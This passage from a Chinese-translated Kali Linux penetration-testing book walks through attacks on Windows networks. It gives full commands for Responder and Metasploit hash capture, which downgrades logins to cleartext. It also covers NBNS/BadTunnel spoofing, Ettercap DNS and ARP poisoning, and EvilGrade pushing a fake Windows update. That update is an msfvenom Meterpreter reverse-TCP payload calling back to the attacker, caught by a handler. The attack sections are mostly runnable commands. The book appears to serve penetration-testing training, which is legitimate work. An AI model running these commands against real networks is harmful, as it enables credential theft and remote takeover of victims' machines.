  • 客户端正在对属于具有传统 NTLM 信任而不是传递性跨森林信任的不同活动目录森林的服务器进行身份验证

  • 客户端正在对不属于域的服务器进行身份验证

  • 不存在活动目录域(通常称为工作组或点对点)

  • 防火墙本来会限制 Kerberos 所需的端口(通常是 TCP 88)

基本上,NTLM 就像在拥挤的酒吧中大声喊出你的用户名和密码,而 AD/DNS 更像是两个人之间的悄悄交谈。

嗅探和捕获流量

在本节中,我们将看到我们在第四章中学到的内容的实际用途,即嗅探和欺骗,关于嗅探和捕获工具。当我们在第四章中运行这些工具时,我们捕获了 NTLM 和明文密码。我们还找到了主要目标的位置。在这里,我们将使用从我们劳动成果中获得的黄金密钥。通常,第一次捕获哈希并查看它时,你会想,我能用它做什么?它是加密的。毕竟,你不是被告知,如果它被加密了,那么它就受到了保护吗?事实是,当我侵入 Windows 系统时,有一半以上的时间我并不知道实际密码。为什么要花时间破解密码,当你可以直接传递哈希呢?

使用 Ettercap 数据

以下的屏幕截图是我们在第四章中的中毒攻击的捕获数据的副本,嗅探和欺骗,使用 Ettercap:

使用 NBTscan 进行 NetBIOS 扫描

在 Windows 域环境中工作时,您最好知道您正在攻击的域名。有时,您可以使用默认的WORKSTATION组收集一些凭据,但是这个方便的小工具可以快速找到您要查找的域信息。以下是 NBTscan 的帮助文件:

要从命令行获取帮助文件,请输入以下内容:

nbtscan 
No -h or -help is needed. 
NBTscan Help File 
NBTscan version 1.5.1\. Copyright (C) 1999-2003 Alla Bezroutchko. 
This is a free software and it comes with absolutely no warranty. 
You can use, distribute and modify it under terms of GNU GPL. 

Usage: 
nbtscan [-v] [-d] [-e] [-l] [-t timeout] [-b bandwidth] [-r] [-q] [-s separator] [-m retransmits] (-f filename)|(<scan_range>)  
 -v  verbose output. Print all names received 
   from each host 
 -d  dump packets. Print whole packet contents. 
 -e  Format output in /etc/hosts format. 
 -l  Format output in lmhosts format. 
   Cannot be used with -v, -s or -h options. 
 -t timeout wait timeout milliseconds for response. 
   Default 1000\. 
 -b bandwidth Output throttling. Slow down output 
   so that it uses no more that bandwidth bps. 
   Useful on slow links, so that outgoing queries 
   don't get dropped. 
 -r  use local port 137 for scans. Win95 boxes 
   respond to this only. 
   You need to be root to use this option on Unix. 
 -q  Suppress banners and error messages, 
 -s separator Script-friendly output. Don't print 
   column and record headers, separate fields with separator. 
 -h  Print human-readable names for services. 
   Can only be used with -v option. 
 -m retransmits Number of retransmits. Default 0\. 
 -f filename Take IP addresses to scan from file filename. 
   -f - makes nbtscan take IP addresses from stdin. 
 <scan_range> what to scan. Can either be single IP 
   like 192.168.1.1 or 
   range of addresses in one of two forms:  
   xxx.xxx.xxx.xxx/xx or xxx.xxx.xxx.xxx-xxx. 
Examples: 
 nbtscan -r 192.168.1.0/24 
  Scans the whole C-class network. 
 nbtscan 192.168.1.25-137 
  Scans a range from 192.168.1.25 to 192.168.1.137 
 nbtscan -v -s : 192.168.1.0/24 
  Scans C-class network. Prints results in script-friendly 
  format using colon as field separator. 
  Produces output like that: 
  192.168.0.1:NT_SERVER:00U 
  192.168.0.1:MY_DOMAIN:00G 
  192.168.0.1:ADMINISTRATOR:03U 
  192.168.0.2:OTHER_BOX:00U 
  ... 
 nbtscan -f iplist 
  Scans IP addresses specified in file iplist. 

如果您首先运行 Ettercap,则目标列表将为您提供一些地址,以便快速查找域信息,或者您可以使用此工具通过使用 CIDR 网络列表扫描整个本地子网。对于此网络,将是172.16.42.0/24

现在我们有了域名(LAB1)或工作组名,我们可以继续使用 Responder。

Responder-哈希如此之多,时间如此之少

Responder.py是一个攻击几乎所有 NTLM 和 SMB 协议向量的 Python 工具。在下面的屏幕截图中,我们有 Responder 帮助文件。我们将介绍一些选项及其用途。

要从命令行访问 Kali Linux 上的 Responder 帮助文件,请输入以下内容:

responder -help  

您将不得不使用的主要标志是-I-interface=标志,因为您必须告诉 Responder 使用哪个接口。所有其他标志都是可选的,但这些标志可以对您的攻击进行很好的控制。

Responder 带有自己的密码和哈希收集工具,但我们也可以使用 Metasploit 来捕获我们的战利品,以便我们可以使用这些凭据在使用 Metasploit 模块进行进一步攻击。我们将介绍收集捕获凭据的两种方法。

首先,我们将设置 Responder 执行其自己的操作并收集其自己的哈希。首先是-I标志-将其设置为活动接口。在这里,它将是wlan0。这是最重要的标志。Responder 将在没有设置任何其他标志的情况下运行默认配置,但必须设置接口才能运行。在下面的命令中,我还设置了-w以启动wpad服务器;-F标志以强制在wpad服务器上进行基本身份验证,这将以明文捕获和wpad登录;尝试将 NTLM 身份验证降级为 NTLMv1 的-lm标志;将 NTLM HTTP 连接降级为基本或明文的-b标志;将wpad连接重定向的-r标志;以及将域设置为攻击的-d LAB1标志。然后按Enter运行。然后,您将获得正在运行的服务的屏幕打印,并且攻击将开始。完整的命令如下:

responder -I wlan0 -w -F --lm -b -r -d LAB1  

攻击开始后,Responder 会在网络上中毒 SMB ARP 广播。运行此攻击的最佳时间是在网络上有大量用户流量时。如果在非工作时间运行此攻击,并且没有用户流量,则只会捕获系统帐户。必须有用户流量才能捕获用户凭据。

在下面的屏幕截图中,我们看到了中毒攻击的开始以及对管理员帐户凭据的捕获:

在前面的截图中,我们可以看到我们已经从\\WIN10-01工作站捕获了管理员登录。这是在用户从工作站登录到域时捕获的。请注意,这是一个 NTLMv2 哈希,这是一个带盐的 NTLMv1 哈希。带盐的哈希基本上是重新哈希的哈希。在 SMB 登录的挑战和响应部分期间,交换了一个 16 位的随机哈希值。然后,NTLMv1 56 位哈希值与此随机值进行了哈希。然后将这个新的哈希传输到服务器,这就是 NTLMv2 哈希值。由于盐是一个随机值,捕获的 v2 哈希是不可重放的,但好消息是,诸如老实的 John the Ripper 或 Hashcat 之类的程序可以离线破解这些哈希。它们只是不能用于传递哈希风格的攻击。

在下面的截图中,我们有LAB1\rred的登录。同样,这是用户登录到域的情况,再次捕获了不可重放的 NTLMv2 哈希。在两次捕获之后,您会注意到,几行下面,Responder 再次捕获了登录,但没有在屏幕上重复显示。它仍然作为单独的哈希记录在日志文件中。在日志文件中,您可以看到挑战和响应哈希从文件中的不可重放的更改。实际密码没有改变,但在响应之间,挑战和响应哈希已经改变:

在下面的截图中,我们可以看到发送到网络上各台机器的有毒答案。接下来,我们可以看到 HTTP 捕获。这个捕获来自将-b 标志设置为将 HTTP 登录降级为明文,而不是使用 NTLM 哈希作为密码。正如我们所看到的,我们有一组明文用户凭据。中奖!看一下下面的截图:

在我们的小攻击之后,让我们看看日志。攻击的所有屏幕输出都存储在 Responder 的日志目录中的单独文件中。默认情况下,这可以在/usr/share/responder/logs找到:

在前面的截图中,我们看到了攻击期间输出的各种日志。Responder 非常好地将这些数据分解为可用的部分。

在此运行中,Analyzer-Session.log是空白的。当您运行-A标志时,NBT-NS 响应的原始输出将保存到此文件中。

Config-Responder.log文件是在运行 Responder 时攻击期间使用的配置和变量的输出。

Poisoners-Session.log是有毒会话的会话输出。

HTTP-Basic-ClearText-<IPAddress>.txt文件是从<IPAddress>捕获的凭据的输出。每个系统的捕获凭据都保存在单独的文件中。我们可以在下面的截图中看到我们攻击中列出的两个文件:

SMB-NTLMv2-<IPAddress>.txt文件是捕获的不可重放的哈希和用户帐户。该文件格式为所谓的John格式。这意味着 John the Ripper 可以直接读取文件而无需任何额外格式。Hashcat 和大多数其他密码破解程序也可以读取这些文件而无需问题。在运行攻击时,输出显示了重复的捕获,但没有显示捕获的哈希。在下面的截图中,我们可以看到所有捕获的哈希。请注意,每次捕获时哈希值都不相同,但密码没有改变。这就是盐在起作用:

在通过您选择的密码破解程序运行之前,删除文件中除一个条目之外的所有内容。这将缩短运行时间,因为破解程序不必运行所有不同的盐。

使用 Responder 与 Metasploit

现在我们将使用 Responder 并将捕获发送到正在运行的 Metasploit 模块。这样,凭据将保存到 Metasploit 数据库,并且在运行 Metasploit 的攻击时可以使用捕获的凭据。基本上,我们要做的是禁用 Responder 工具包中提供的捕获服务器,并使用 Metasploit 的捕获服务器运行相同的服务器。

要禁用 Responder 的服务器,我们将编辑 Responder 配置文件。文件位于/etc/responder/Responder.conf。在您喜欢的文本编辑器中打开文件。在文件顶部,您会看到服务器列表,配置设置为On-将这些设置更改为Off并保存文件:

更改后的文件如下截图所示:

接下来,我们需要启动 Metasploit 并启动捕获服务器。要启动 Metasploit,请运行以下命令:

msfdb start # This will start the database.
msfconsole # This will start the console.  

让我们启动服务器。启动顺序在这里并不重要,但是这些服务器是您进行此攻击所需的三个重要组成部分。在切换到您的工作区后,运行以下命令:

use auxiliary/server/wpad # This set up the wpad module for use.
show options # This will show the options.  

我发现最好设置SRVHOST设置。将其保持为0.0.0.0将使服务器在列出的端口上监听所有接口。硬设置SRVHOST将减少任何网络/接口混乱。特别是如果您运行多个活动接口,攻击可能会困惑于应该选择哪种方式,或者诸如wpad之类的服务将主动监听错误的接口。最好进行硬设置以确保。对于此攻击,本地 IP 地址为172.16.42.139

set SRVHOST 172.16.42.139

要启动它,请运行以下命令:

    run -j # The -j flag will run the job in the background.

接下来,让我们使用以下命令启动 SMB 捕获服务器:

use auxiliary/server/capture/smb
show options  

再次设置SRVHOST。您可以使用向上箭头键返回到上次设置的属性:

set SRVHOST 172.16.42.139
run -j # Again this will run the job in the background

有两种方法可以捕获 HTTP 流量。一种是auxiliary/server/capture/http_ntlm模块。此模块将以其 NTLM 哈希值捕获凭据。这些哈希值将是可重放的,因为我们的攻击服务器发送了挑战。之前定义了挑战盐值-我们看到它设置为1122334455667788。此攻击中捕获的哈希值可以在* Pass the Hash * -style 攻击中使用。要设置和运行此模块,请运行以下命令:

use auxiliary/server/capture/http_ntlm
show options  

再次设置SRVHOST。您可以使用向上箭头键返回到上次设置的方式:

set SRVHOST 172.16.42.139  

由于wpad服务器正在端口80上运行,我们需要将此服务移动到不同的 HTTP 端口,因此我们将设置它在端口443上运行,并将 SSL 设置为 true,如下所示:

set SRVPORT 443 # Set to local service port to 443
set SSL true # This sets a self-signed cert to the port.
set JOHNPWFILE john-cap.txt # This will set an output file.
run -j # Again this will run the job in the background

第二种方法将导致 NTLM 登录降级为明文,就像 Responder 附带的 HTTP 服务器一样。使用此捕获方法,凭据将准备好使用。您一次只能使用其中一个模块。尝试同时运行两者将导致第二个崩溃,并有时会导致第一个 HTTP 服务器开始挂起。

要设置并启动 HTTP 基本捕获服务器,请运行以下命令:

use auxiliary/server/capture/http_basic
show options  

再次设置SRVHOST。您可以使用向上箭头键返回到上次指定的设置。

如前所述,由于wpad服务器正在端口80上运行,我们需要将此服务移动到不同的 HTTP 端口,因此我们将设置它在端口443上运行,并将 SSL 设置为 true:

set SRVPORT 443 # Set to local service port to 443
set SSL true # This sets a self-signed cert to the port.
set SRVHOST 172.16.42.139
run -j # Again this will run the job in the background
jobs # Below we see the three running jobs.  

我们还可以运行欺骗程序来帮助捕获。这是auxiliary/spoof/nbns/nbns_response模块。帮助文件中有关于此的最佳描述,因此我在这里提供了它:

描述:

这个模块伪造NetBIOS 名称服务NBNS)响应。它将监听发送到本地子网广播地址的 NBNS 请求,并伪造响应,将查询机器重定向到攻击者选择的 IP。与auxiliary/server/capture/smbauxiliary/server/capture/http_ntlm结合使用,这是一种高效收集常见网络上可破解哈希的方法。此模块必须以 root 身份运行,并将绑定到所有接口上的 UDP/137 端口。

参考:

www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html

对于我们的攻击,我们将欺骗域控制器。域控制器的 IP 地址是172.16.42.5。因此,让我们设置我们的欺骗者并运行如下:

use auxiliary/spoof/nbns/nbns_response
set INTERFACE wlan0 # your local network interface. For this attack it is wlan0
set SPOOFIP 172.16.42.5 # the victim IP address.
run -j # This will run the job in the background.

我们可以在一开始就看到模块正在欺骗来自172.16.42.105wpad请求,而此时 Responder 尚未运行。

现在我们准备再次启动 Responder。在 Kali 上启动一个新的终端窗口,并使用与上次相同的标志启动 Responder。这次运行的唯一区别是,中毒攻击将运行,但 Responder 服务器将被禁用,Metasploit 将捕获这次的流量。

在以下截图中,我们看到 Metasploit 在172.16.42.105上欺骗和捕获流量。我们可以看到模块响应到域控制器的地址172.16.42.5

在以下截图中,我们看到捕获的 SMB 流量进来,通过查看挑战的长度,我们可以知道这些是 NTLMv2 哈希。如果运行creds命令,输出将显示这些是不可重放的:

通过运行creds命令,我们可以看到捕获的凭据,如下所示:

好的,这些是不可重放的哈希,但我们有一个普通捕获流量中没有的部分谜题,比如我们使用 Responder 服务捕获的内容。这次,我们有挑战盐。当我们设置 SMB 捕获模块时,挑战盐设置为1122334455667788。因此,如果我们通过 John the Ripper 运行这个不可重放的哈希,以及捕获的有盐哈希,我们基本上只是破解 NTLM 哈希,而不是浪费 CPU 时间计算盐。在上一张截图中,输出是以 John 格式显示的,我们可以在哈希的第一部分中看到挑战盐。这基本上破坏了有盐哈希的安全性。

NetBIOS 响应 BadTunnel 暴力欺骗

这也是一个 NBNS 名称欺骗者,但与之前讨论的不同,这个可以穿越使用 NAT 的防火墙连接。大多数 NetBIOS 欺骗者只在本地网络上工作。与其他工具一起使用,这是一个很好的欺骗者。

关于这个欺骗者如何工作的最好描述来自信息文件,如下所示:

   Name: NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel) 
  Module: auxiliary/server/netbios_spoof_nat 
  License: Metasploit Framework License (BSD) 
   Rank: Normal 
 Disclosed: 2016-06-14 

Provided by: 
 vvalien 
 hdm <x@hdm.io> 
 tombkeeper 

Available actions: 
 Name  Description 
 ----  ----------- 
 Service  

Basic options: 
 Name  Current Setting Required Description 
 ----  --------------- -------- ----------- 
 NBADDR 172.16.42.139  yes   The address that the NetBIOS name should resolve to 
 NBNAME WPAD      yes   The NetBIOS name to spoof a reply for 
 PPSRATE 1000      yes   The rate at which to send NetBIOS replies 
 SRVHOST 172.16.42.139  yes   The local host to listen on. 
 SRVPORT 137       yes   The local port to listen on. 

描述:

该模块监听 NetBIOS 名称请求,然后不断向目标发送 NetBIOS 响应,以获取给定主机名的恶意地址。在高速网络上,PPSRATE 值应增加以加快攻击速度。例如,当欺骗 WPAD 查找时,约 30,000 的值几乎 100%成功。远程目标可能需要更多时间和更低的速率才能成功攻击。该模块在目标位于 NAT 网关后时起作用,因为 NetBIOS 响应流将在初始设置后保持 NAT 映射活动。要触发对 Metasploit 系统的初始 NetBIOS 请求,强制目标访问指向相同地址的 UNC 链接(HTML、Office 附件等)。这个 NAT 穿透问题被发现者命名为 BadTunnel 漏洞,发现者是 Yu Yang(@tombkeeper)。微软补丁(MS16-063/MS16-077)影响了代理主机(WPAD)主机的识别方式,但并没有改变 NetBIOS 请求的可预测性。

为了设置这个模块,我们需要设置以下参数:

set NBADDR 172.16.42.139 # Set to the update server's address. Our Kali machine.
set SRVHOST 172.16.42.139 # Set this to keep down interface confusion.
set PPSRATE 30000 # Since we are on a local network we have set this to the max setting.  

一旦我们设置并运行了 EvilGrade,我们将运行以下命令:

run -j  # This will run the spoofer in the background.  

现在我们已经设置好了 NBNS 欺骗器,让我们设置好 EvilGrade 并让它运行起来。

EvilGrade

EvilGrade 是一个模块化框架,允许用户通过注入假更新来利用升级实现,不仅适用于 Windows 操作系统,还适用于其他流行的 Windows 应用程序。列表很长。该框架配备了预制的二进制文件(代理),但也可以将自定义二进制文件推送到受害者机器上。该框架配备了自己的 Web 服务器和 DNS 服务器模块。

在这次攻击中,我们将利用 Windows 的wpad服务并推送一个恶意的 Windows 更新。我们将构建自己的有效负载,而不是使用预先构建的二进制文件,这样我们就可以上传 Metasploit Meterpreter shell 到受害者机器。这样我们就可以使用 Metasploit 工具进行进一步的妥协。

EvilGrade 不是 Kali 的默认安装程序,因此我们需要从存储库安装它。因此,在保持 BadTunnel 窗口打开的同时,现在打开一个新的终端窗口并运行以下命令:

apt-get update # As normal update the repo first.
apt-get -y install isr-evilgrade # This will install Evilgrade.  

安装完成后,我们准备好了。打开一个新的终端窗口,从命令行输入以下内容:

evilgrade

您将看到以下输出。当它们加载时,您将看到可用模块的列表。该框架具有类似于 Metasploit 的界面:

以下屏幕截图显示了modules输出的继续:

通过运行show options,我们可以看到模块列表。注意所有不同类型应用程序的模块,包括硬件供应商的更新服务。是的,你可以上传 rootkit 到,比如,宏碁或联想笔记本电脑。这超出了本书的范围,但通过一点配置,就像我们在这里所做的一样,这个工具就能胜任:

evilgrade> show modules 

List of modules: 
=============== 

acer 
allmynotes 
amsn 
appleupdate 
appstore 
apptapp 
apt 
asus 
atube 
autoit3 
bbappworld 
blackberry 
bsplayer 
ccleaner 
clamwin 
cpan 
cygwin 
dap 
divxsuite 
express_talk 
fcleaner 
filezilla 
flashget 
flip4mac 
freerip 
getjar 
gom 
googleanalytics 
growl 
inteldriver 
isopen 
istat 
itunes 
jdtoolkit 
jet 
jetphoto 
keepass 
lenovo 
lenovoapk 
lenovofirmware 
linkedin 
miranda 
mirc 
nokia 
nokiasoftware 
notepadplus 
openbazaar 
openoffice 
opera 
orbit 
osx 
paintnet 
panda_antirootkit 
photoscape 
port 
quicktime 
safari 
samsung 
skype 
sparkle 
sparkle2 
speedbit 
sunbelt 
sunjava 
superantispyware 
teamviewer 
techtracker 
timedoctor 
trillian 
ubertwitter 
vidbox 
virtualbox 
vmware 
winamp 
winscp 
winupdate 
winzip 
yahoomsn 
- 78 modules available. 

安全提示:

这是 Windows 系统上的一个重要攻击向量。与 Linux 不同,Linux 中所有软件包都可以从中央存储库下载并通过 GPG 密钥进行验证,而 Windows 应用程序中的每个应用程序都依赖于其自己的更新程序。这使得这种攻击方式可以用于许多常见应用程序,这些应用程序通常不会被视为攻击向量。这也是为什么在使用本书中所示的 Kali 时,应该从存储库下载应用程序,避免从其他网站下载和安装单独的应用程序。

我们需要为 DNS 服务设置 IP 地址。输入以下命令:

show options # Shows EvilGrade's default settings.
set DNSAnswerIp 172.16.24.139 # Set the DNS server's address.     

在这次攻击中,我们将使用 Windows 更新服务(wpad),因此要加载 Windows 更新模块,请输入以下内容:

evilgrade>configure winupdate 

接下来,我们需要我们的有效载荷。要构建有效载荷,我们将使用 MSFvenom。打开一个新的终端窗口,然后从命令行中输入以下代码。-p标志是要使用的有效载荷。我们正在使用windows/meterpreter/reverse_tcp有效载荷。由于这是一个反向 shell,您必须设置有效载荷在攻击机器上调用的本地主机和本地端口。我们的 Kali 机器在172.16.42.139

我们将端口设置为445,这是一个标准的 Windows 端口,并使用-o标志将其保存到/tmp/windowsupdate.exe

msfvenom -p windows/meterpreter/reverse_tcp -e LHOST=172.16.42.139 LPORT=445 -f exe -o /tmp/windowsupdate.exe 

我们已将有效载荷保存到/tmp/windowsupdate.exe,因此我们需要将代理设置为此路径。

在运行的 EvilGrade 框架窗口中,输入以下内容将有效载荷设置为我们的自定义有效载荷:

set agent /tmp/windowsupdate.exe # This sets the agent to the custom agent.
show options # This will show the module's options to check the settings.
start # This will start both the DNS and Web service for the attack.  

现在,为了允许连接,我们需要设置一个 multi/handler 来接受系统被入侵后的入站连接。从我们正在运行 BadTunnel 的 Metasploit 终端开始,我们将启动multi/handler并在后台运行。在 Metasploit 中,运行以下命令:

use exploit/multi/handler
set LHOST 172.16.42.139 # Kali's IP address.
set LPORT 445 # Set the listening port. The payload is set to 445.
run -j # Start the handler in the background.  

Ettercap 设置

Ettercap 是一个很棒的欺骗工具,在本书中我们已经经常使用它,现在我们将再次使用它。我们需要欺骗 DNS 服务并将其指向我们的 Kali 框。Ettercap 附带了一个专门用于此目的的插件。在这次攻击中,由于我们的 Kali 框局限于受害者网络,我们可以使用 GUI 版本。您会在 Sniffing & Spoofing | ettercap-graphical 下找到它。该过程如下:

  1. 首先,我们需要设置我们将在欺骗时使用的 DNS A 记录。如果这是您第一次欺骗 DNS,您需要使用您喜欢的文本编辑器创建一个新文件。将以下 A 记录添加到文件中。通过通配符记录(*.),我们应该是好的,如下所示:
*.microsoft.com  A 172.16.42.139 # Kali's address
*.windowsupdate.com  A 172.16.42.139  

将此文件保存到/usr/share/ettercap/etter.dns。关闭编辑器-您的欺骗记录已准备就绪:

  1. 接下来,我们需要设置活动接口来欺骗流量,如下所示:

  1. 接下来,我们需要激活 DNS 欺骗插件。在菜单栏中,转到插件,然后管理插件。这将为您提供列出所有各种可用插件的窗口:

  1. 接下来,从列表中选择 dns_spoof 并双击它。左侧将出现一个星号,表示它已激活。您还将在 Ettercap 底部的文本窗口中看到这一点:

  1. 接下来,让我们运行扫描以找到我们的目标,如下所示:

扫描后,我们需要将路由器选为目标 1,将我们的目标机器(win7-01)选为目标 2。您可以通过选择地址并右键单击来执行此操作-菜单将允许您设置目标编号:

选择目标后,您可以通过转到菜单栏中的目标|当前目标来查看它们。要启动该过程,请转到菜单栏中的 Mitm | ARP Poisoning 并单击。您将获得一个框来设置嗅探的类型。一旦开始,您可以在底部屏幕中观看输出,如下所示:

攻击

我们现在已经设置好了,我们的攻击已经完全运行。我们正在运行 BadTunnel NBNS 欺骗的 Metasploit,EvilGrade 同时运行 DNS 服务器和 Web 服务器以提供带有虚假 Windows 更新站点的更新。我们还为有效载荷设置了处理程序以进行连接。现在我们只是在等待我们毫无戒心的受害者更新他们的 Windows 系统。

在 Windows 工作站上,当受害者使用 IE 手动更新他们的系统时,他们会看到以下页面。看起来很正常-你可以看到地址栏中的地址说这个站点是www.microsoft.com。没有真正的警告标志表明这不是微软的站点。

所以,让我们点击更新我们的计算机!你知道要保持安全和安全:

我们点击“立即下载并安装”按钮,我们得到一个正常的文件下载框,提供一个update97543.exe文件。甚至看起来是由windowsupdate.microsoft.com签名的。这个文件肯定是合法的吧?

让我们点击运行并获取我们的更新:

我们以 rred 和 Randy Red 的身份登录,所以我们被要求进行 UAC 登录。我们得到了管理员权限,他们登录运行更新。如果用户已经有管理员权限,UAC 框仍然会出现,但你可以像平常一样点击 OK,一切都很好。这让你对 UAC 安全产生了疑问:

文件正在运行,和大多数更新一样,安装更新后系统并没有真正做任何事情。用户回到工作中,认为一切都很好。让我们看看我们的 Kali 盒子上发生了什么。

嗯-看起来我们已经与具有管理员权限的 fflintstone 打开了一个会话。我们在 rred 的账户下,但我们有管理员权限 fflintstone。要与会话交互,请使用以下命令:

sessions -i 1 # Where 1 is the active session number.  

这样做的结果,就像这里的消息所说的那样,是这样的:

在我们运行的 EvilGrade 终端中,我们可以看到受害者机器与我们的恶意服务器的交互。在下面的截图中,你可以看到恶意网页被上传到受害者:

所以你知道了-更新可能并不像你想象的那么安全。始终从安全网络更新。再次,看一下可以使用这种方法轻松攻击的系统和应用程序的列表。

请注意,Windows 安全方法,如 UAC,对于阻止这种攻击没有起作用。对于系统来说,它看起来是在回家和妈妈交谈,而妈妈绝不会给你喂任何坏东西。

对于 Linux 系统,在 RedHat 系统上使用 apt-get 或 yum 时,这种攻击将失败。是的,你可以欺骗存储库站点,但当更新(实际上是我们的有效负载)被下载时,它将无法安装,因为所有存储库包都是用 GPG 密钥签名的。由于我们的虚假更新没有签名,我们的攻击失败了。对于使用 GPG 和公钥/私钥的方法有一些值得说的地方。

总结

在本章中,你已经学会了 NTLM 和 LLMR 协议的工作原理及其固有的弱点。你已经学会了如何毒害网络流量以捕获用户凭据。

你还学会了如何同时使用许多工具,如 Responder 和 Etthercap,来利用你的目标系统。最后,我们学会了如何欺骗更新服务,如 Windows Update,并利用这个服务来攻击系统。

进一步阅读

Responder 的 GitHub 可以在这里找到:github.com/SpiderLabs/Responder

Ettecap 项目页面可以在这里找到:www.ettercap-project.org/

有关 MS17-010(EternalBlue)漏洞的更多信息可以在以下链接找到:

作者在 SMB 欺骗和如何解决问题方面的更多信息可以在这里找到:www.boweaver.com/security/ntlm.php

第七章:获取访问权限

本章将演示使用 Kali Linux 工具(如社会工程工具包和 Metasploit)利用 Windows 漏洞的几种用例。您还将学习使用 Kali Linux 提供的利用数据库以及其他工具。您将学习使用工具来利用几种常见的 Windows 漏洞,并了解创建和实施新的利用以应对即将出现的 Windows 漏洞的准则。

我们将在本章中涵盖以下主题:

  • Pwnage

  • 使用 Metasploit 利用 Windows 系统

  • 使用高级足迹

Pwnage

这里是有趣的开始。Pwnage!对于不了解的人来说。Pwn是黑客用语,意思是拥有。如果你被 pwned,你的系统已经被拥有。换句话说,我现在拥有你的系统,我完全控制它。利用是拥有或妥协机器的过程。到目前为止,我们已经通过收集目标的公共信息和扫描目标网络的漏洞来收集了有关我们目标的信息。我们现在准备进行攻击。

黑客会在最繁忙的时候攻击你的网络,并尽可能慢慢地、悄悄地进行。他们会试图保持在正常运营的噪音下。是的,在那个时候网络上有更多的眼睛,但是聪明的黑客知道,如果你慢慢地、安静地行动,大量的流量是一个很好的掩护。

如果你是安全运营人员,正在测试自己的网络,这不是一个好主意。最好在 CEO 睡觉的时候测试网络。如果在测试期间发生任何意外,可以在 CEO 醒来之前修复并使其正常工作。利用在测试期间通常不会使系统无法修复,但有些利用有时会挂起服务,或者完全挂起系统,需要重新启动。有些利用的整个目的是对服务或系统执行拒绝服务DoS)。Bo 认为这些不是真正的利用。是的,你已经攻击了系统,并使其下线;但你没有渗透到机器里。你已经成功攻击了,但你没有控制它。真正的坏人不使用 DoS 攻击。他们想要进入,并从你的网络中窃取或复制数据。服务下线会引起 IT 的注意。如果你试图入侵,这不是一个好事。DoS 攻击是小白鼠的东西;如果这是你所知道的一切,不要自称为黑客。

DoS 工具也被认为是利用,因为它们以相同的方法作用于系统。DoS 会使系统挂起。用于获取访问权限的利用通常会使系统挂起足够长的时间,以便您注入某种代码来获取访问权限。基本上,你让机器变得愚蠢足够长的时间来建立连接。当你的利用工具失败时,它可能看起来像是一次 DoS 攻击。如果可以选择,最好让失败的利用看起来像是暂时的拒绝服务,这可能会被误解为源主机上的无辜 NIC 故障,而不是黑客在目标系统上测试利用代码。

黑客提示

无论何时进行测试,始终要有人或某种方式在测试时重新启动服务或系统。在开始测试之前,始终要有人员的联系信息当事情出错时。尽管你可能试图保持安静,不让任何东西离线,但要有你的计划 B。此外,始终在测试之前准备好你的脱离监狱卡!

技术要求

  • 使用 Metasploit 框架来利用 Windows 操作系统

  • 高级足迹超越了简单的漏洞扫描。

  • 使用枢纽来利用分段网络

使用 Metasploit 利用 Windows 系统

“不要害怕命令行..”

  • Bo Weaver

Metasploit 框架是终极工具包。曾经有一段时间,构建一个渗透测试机器需要花费数天的时间。每个单独的利用工具都必须是以下内容:

  • 追踪和研究

  • 下载(有时通过拨号互联网连接)

  • 从源代码编译

  • 在您的破解平台上测试

现在,来自 Rapid7 的伟大人民带来了 Metasploit 框架。Metasploit 几乎为您提供了您在框架中需要的每个工具作为插件或功能。无论您在测试的网络上发现了什么操作系统甚至什么类型的设备,Metasploit 都可能有一个模块来利用它。Bo 的 90%工作都是用 Metasploit 完成的。

Metasploit 有两个版本——社区版本和专业版本。在命令行上,它们都是一样的。专业版的主要功能是一个漂亮的 Web 界面和报告工具,可以从该界面为您生成报告。您还可以获得一些用于测试大型网络的好工具,这些工具无法从命令行获得。一个功能是您可以从导入的漏洞扫描中选择一个或多个机器,专业版将自动选择模块并针对目标机器运行这些模块。如果您在大型网络上工作,或者进行大量测试,请获取专业版。它绝对物有所值,而且您可以轻松地在 Kali 攻击平台上使用它。

对于本书,我们将使用随 Kali Linux 提供的社区版本。

警告!如果您决定购买专业版,请不要卸载 Metasploit 的社区版本。这可能会破坏 Kali 的更新。安装专业版时,它将安装在自己的目录中。专业版将需要一些社区库才能运行。

在命令行使用 Metasploit 时,Tab键会为您自动完成很多操作。对于show options,输入sh<tab> o<tab>。您会看到这将自动完成命令。这在 Metsploit 中始终有效。

另外,要重复命令,向上箭头键将带您到先前的命令。这真的很有用。例如,当更改模块并攻击同一台机器时,set RHOST 192.168.202.3,向上箭头键到先前的命令可以节省时间。

好的,让我们启动 Metasploit。首先,我们需要在菜单栏中启动 Metasploit 服务。以下屏幕截图显示了 LXDE 桌面菜单。转到Exploitation Tools |** metasploit framework****😗*

一个终端窗口将打开,服务将启动。下一个屏幕截图显示了启动时终端将向您显示的内容。Metasploit 使用 PostgreSQL 数据库服务器。在第一次运行服务时,可能需要几分钟才能启动。在下一个屏幕截图中,我们看到启动跳过初始化。Metasploit 已经在这台机器上设置好了。第一次设置后,您将看到这一点:

是的,黑客喜欢 Shell!

一旦服务启动,输入msfconsole启动 Metasploit 控制台。当我们输入workspace时,我们可以看到工作区。我们将很快设置一个新的工作区。

黑客提示

第一次启动 Metasploit 控制台时,它将创建数据库,所以让它花点时间。下一次使用它时,它将启动得更快。

要获取控制台命令列表,请随时输入help

    msf > help

    Core Commands
    =============

    Command Description
    ------- -----------
    ? Help menu
    banner Display an awesome metasploit banner
    cd Change the current working directory
    color Toggle color
    connect Communicate with a host
    exit Exit the console
    get Gets the value of a context-specific variable
    getg Gets the value of a global variable
    grep Grep the output of another command
    help Help menu
    history Show command history
    irb Drop into irb scripting mode
    load Load a framework plugin
    quit Exit the console
    route Route traffic through a session
    save Saves the active datastores
    sessions Dump session listings and display information about sessions
    set Sets a context-specific variable to a value
    setg Sets a global variable to a value
    sleep Do nothing for the specified number of seconds
    spool Write console output into a file as well the screen
    threads View and manipulate background threads
    unload Unload a framework plugin
    unset Unsets one or more context-specific variables
    unsetg Unsets one or more global variables
    version Show the framework and console library version numbers

    Module Commands
    ===============

    Command Description
    ------- -----------
    advanced Displays advanced options for one or more modules
    back Move back from the current context
    edit Edit the current module or a file with the preferred editor
    info Displays information about one or more modules
    loadpath Searches for and loads modules from a path
    options Displays global options or for one or more modules
    popm Pops the latest module off the stack and makes it active
    previous Sets the previously loaded module as the current module
    pushm Pushes the active or list of modules onto the module stack
    reload_all Reloads all modules from all defined module paths
    search Searches module names and descriptions
    show Displays modules of a given type, or all modules
    use Selects a module by name

    Job Commands
    ============

    Command Description
    ------- -----------
    handler Start a payload handler as job
    jobs Displays and manages jobs
    kill Kill a job
    rename_job Rename a job

